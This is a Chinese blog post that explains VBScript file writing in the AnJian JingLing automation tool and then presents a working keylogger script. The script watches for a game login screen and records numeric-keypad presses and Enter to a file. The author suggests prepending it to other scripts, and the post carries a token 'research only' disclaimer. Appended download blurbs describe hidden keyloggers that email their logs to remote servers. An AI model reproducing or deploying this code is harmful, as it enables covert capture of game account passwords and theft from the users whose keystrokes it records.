小键盘记录
2010年03月21日
发脚本之前,我想讲一下关于写入文件的问题,看了几个教程,对于我这样的菜鸟十分生涩,很难理解。我觉得有必要再讲讲,以下是我自己理解的,可能不对,请高手指教。
首先讲这个:
VBS Const ForReading=1
VBS Const ForWriting=2
VBS Const ForAppending=8
也有这样写的
VBS Const ForReading=1:VBS Const ForWriting=2:VBS Const ForAppending=8
其实这是不用写的,这只是一个参数解释,告诉你当参数=1是是以读方式打开文件;=2时是以写方式
打开文件,=8时是以追加写方式打开文件。那么这个参数1,2,8写在那里呢?下面再说。
其次我们来看这个:
VBS Set a = CreateObject("Scripting.FileSystemObject")
这个最不好理理解,不过好在我们不用理解,你只要记住,不论生成文件还是打开文件,在前面都要加
这么一句就可以了。其中除了a是变量名称可以改以外,其它的照搬就是了。
接着我们来看
VBS Set f=a.CreateTextFile(filename)
这句是生成文件的,不光TXT文件,也可以生成htm文件等,括号中是要生成的文件路径及名称,如:“c:\1.txt”,一定要加引号的。还有就是,这句里有两个变量名f和a,前面的f是写的时候用的,后面的a要和上一句的变量名一致。
总结一下就是说,我们想在c盘下生成一个1.txt文件,只要以下2句就可以做到:
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS Set f=a.CreateTextFile("c:\1.txt")
要注意,这样创建的文件是用写方式打开的,我们可以用下面这句来写入内容:
VBS f.WriteLine("内容")
但这样写入会覆盖上一次写入的内容,所以不想覆盖就要用到下面这句
VBS set f=a.opentextfile("c:\1.txt",8,True)
这句的意思是以追加的方式打开“c:\1.txt”,如果不存在则生成一个。其中的8,就是参数,我们上面讲过,它如果是1或2时是什么意思。
要是我以上讲的你都不理解,你就记住,用追加写方式打开一个文件,写入文本“1”,没有的话就生成一个再写入,只要这样写就好了:
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS set f=a.opentextfile("c:\1.txt",8,True)
VBS f.WriteLine("1")
就三句话,复制就好了。
下面进入正题,木马的问题很头痛,键盘记录程序也很头痛,好在我们有专业软件。可是这就能阻止帐号丢失吗?我今天用了30分钟就写了一个键盘记录脚本,虽然暂时功能比较简单,但有了这个思路,小精灵本身就可以是木马!
下面这个脚本可以实现,在检测到某游戏的登陆界面后,在按键精灵所在目录生成一个键盘记录文件,记录10秒种内的小键盘动作.
Rem start
VBSCall FindPic(0,0,1023,767,"登陆.bmp",0.9,x,y)
If x>=0 and y>=0
Gosub 时间
Goto start
Else
Goto start
EndIf
Sub 时间
VBS starttime=timer
Rem time
VBS stoptime=timer
VBS t=stoptime-starttime
//修改t的值可以延长记录时间
If t<10
Gosub 记录
Goto time
Else
//每次记录的结果用"-------"分开
VBS f.WriteLine("--------")
EndScript
EndIf
Return
Sub 记录
//打开文件
VBS filename="..\键盘记录.txt"
VBS Set a = CreateObject("Scripting.FileSystemObject")
VBS set f=a.opentextfile(filename,8,True)
//监控键盘
VBSCall Call GetKeyState(Asc)
//写入结果
If GetKeyState(96)=-1 or GetKeyState(96)=1
VBS f.WriteLine("0")
//延时越短越容易出现先1次按键多次记录的情况,目前这个值基本可以满足要求
Delay 150
EndIf
If GetKeyState(97)=-1 or GetKeyState(97)=1
VBS f.WriteLine("1")
Delay 150
EndIf
If GetKeyState(98)=-1 or GetKeyState(98)=1
VBS f.WriteLine("2")
Delay 150
EndIf
If GetKeyState(99)=-1 or GetKeyState(99)=1
VBS f.WriteLine("3")
Delay 150
EndIf
If GetKeyState(100)=-1 or GetKeyState(100)=1
VBS f.WriteLine("4")
Delay 150
EndIf
If GetKeyState(101)=-1 or GetKeyState(101)=1
VBS f.WriteLine("5")
Delay 150
EndIf
If GetKeyState(102)=-1 or GetKeyState(102)=1
VBS f.WriteLine("6")
Delay 150
EndIf
If GetKeyState(103)=-1 or GetKeyState(103)=1
VBS f.WriteLine("7")
Delay 150
EndIf
If GetKeyState(104)=-1 or GetKeyState(104)=1
VBS f.WriteLine("8")
Delay 150
EndIf
If GetKeyState(105)=-1 or GetKeyState(105)=1
VBS f.WriteLine("9")
Delay 150
EndIf
If GetKeyState(13)=-1 or GetKeyState(13)=1
VBS f.WriteLine("回车")
Delay 150
EndIf
Return 记录
目前我只写了记录小键盘的脚本,全部都监控也很简单,把它写在某些脚本的前面,然后......
不要问我怎么能讲记录文件发送出来,虽然我前几天写了个生日密码爆破脚本,今天又写了这个,但我郑重声明:我对盗号没有兴趣!!!一切只为研究之用,非法使用,一切后果由使用者自己承担。
希望以上对想我一样菜的朋友有帮助,最后还是要提醒,以上脚本必须安装QMBoost插件。
发表评论
-
java字符串处理
2012-07-06 09:51 632substring() 它有两种形式,第一种是:Stri ... -
经常用到的提取手机、电话、Email联系方式的几个java正则表达式
2012-07-06 09:44 1105经常用到的提取手机、电话、Email联系方式的几个ja ... -
java中的正则表达式详解
2012-07-06 09:37 1271转自:http://gstarwd.i ... -
MTK修改音乐播放器
2012-07-06 09:29 728目标文件:Resource_audply_skins.c ... -
超强 DOM增删改,js日历综合案例实现
2012-07-05 20:44 809DOM增删改,js日历综合案例实现 效果图: 实现 ... -
构建自定义组件
2012-07-03 13:42 803构建自定义组件 ... -
构建自定义组件
2012-07-03 12:15 639构建自定义组件 ... -
Flex文件上传
2012-07-02 10:09 659今天花了一点时间 ... -
Changing the layout direction of a form item in Flex
2012-07-02 10:09 606The following example shows h ... -
Flex 与 JavaScript 实现交互!!
2012-07-02 10:09 702.style{ paddin ... -
OpenCms7.5.3发布
2012-07-01 09:26 8132010年8月18日,OpenCms7.5.3发布。 ... -
挨踢求职之旅
2012-07-01 09:26 462大学的时候,学的 ... -
Ext 4 概述(六)之Grid
2012-07-01 09:25 588这次升级Ext 4全部 ... -
一些免费,甚至开源的.net开发工具
2012-07-01 09:25 1180一些免费,甚至 ... -
AS类库推荐
2012-06-30 11:12 590AS类库推荐 2011年11月17日 TweenLite ... -
Flex 收藏
2012-06-30 11:12 568Flex 收藏 2010年06月15日 flex官方网址 ... -
as3 字符处理函数
2012-01-20 02:25 1442as3 字符处理函数 2011年04月22日 原地址:h ... -
js+正文规则 高亮搜索关键字(二)
2012-01-20 02:24 628js+正文规则 高亮搜索关键字(二) 2010年11月16日 ... -
常用的正则表达式
2012-01-20 02:24 596常用的正则表达式 2010年09月09日 常用表达式: ... -
四(4)寒假作业
2012-01-19 10:14 610四(4)寒假作业 2012年01 ...
相关推荐
小巧实用的键盘记录工具,使用了VB资源包里的systray.ocx,可以隐藏到系统托盘区,而不被发现。
本机键盘记录器哦,小巧玲珑 非常好的一款个人开发的键盘记录器 向大家推荐一下
自己DIY的键盘记录 1 编译键盘钩子中工程,在其Debug目录下生成hodll.dll 2 编译KeyLoger.dsw,生成键盘记录工具service.exe(为了隐蔽,我们故意生成迷惑性文件) 3 请将1中生成的hodll.dll与service.exe放于同一...
python实现的键盘记录器小功能代码 博客记录: https://lexsaints.blog.csdn.net/article/details/113736987
Silent Keylogger是一款非常实用的静音键盘记录工具。你还在为没有好的静音键盘记录软件而苦恼吗?小编推荐你使用这款软件!这是一个静音键盘记录工具,能够帮助用户记录键盘和电脑上面的活动记录,同时还能截图。...
屏幕键盘记录专家,记录屏幕键盘的小工具。
优秀的键盘记录软件绿色,不用安装,打开直接用,WIN高版本系统,请用兼容或管理员模式,不然容易卡死,还是比较好用的。文件小
本软件,很小,使用方便,免安装,有的杀毒软件会误报毒,如果担心中毒的话请不要下载。本软件亲测,很好用。
C#键盘记录 将你的按键记录在一个文件里,全局钩子的使用
DLL 的中英文键盘记录! 可以在VC VB中调用!很好用!
支持键盘后台记录的cSharp小程序,可以以线程运行在后台,发出来大家一起学习学习,是个不错的例程,有什么不好的地方,欢迎大家留言,第一次发帖,内心忐忑不安。
超好用的鼠标键盘记录器,纯绿色软件。点录制后,想结束按F9,然后就可以保存记录。想停止鼠标的动作就按F11结束。
C#实现的一个记录本地键盘输入的小程序。按CTRL+Q或超过设定时间后,将生成一个TXT文件,并发送至远端服务器。
这是我自己写的第一小软件,支持发送邮件,开机隐藏运行
无毒的键盘记录器,使用方便,非常小巧,请勿用于方法途径,否则后果自负
能够记录很多密码保护框的输入 能够记录目前QQ2009密码保护框的输入,不同于winio(网上流传的哪个版本)这个更快速(延迟小)
E卡鼠标键盘记录器是自动记录鼠标键盘的一款小软件。打开即可使用,使用方便!是电脑必备小软件!
小巧实用的鼠标键盘记录工具,如果下载后用于其它用途,后果自负,建议用于自己的电脑的监控或用于娱乐。经最新的杀毒工具检测没有病毒和木马,请放心使用。
该程序主要演示如何在windows操作系统下面如何记录键盘案件
C#键盘记录监测源代码,亲测可用,邮件发送过时了,建议改掉===。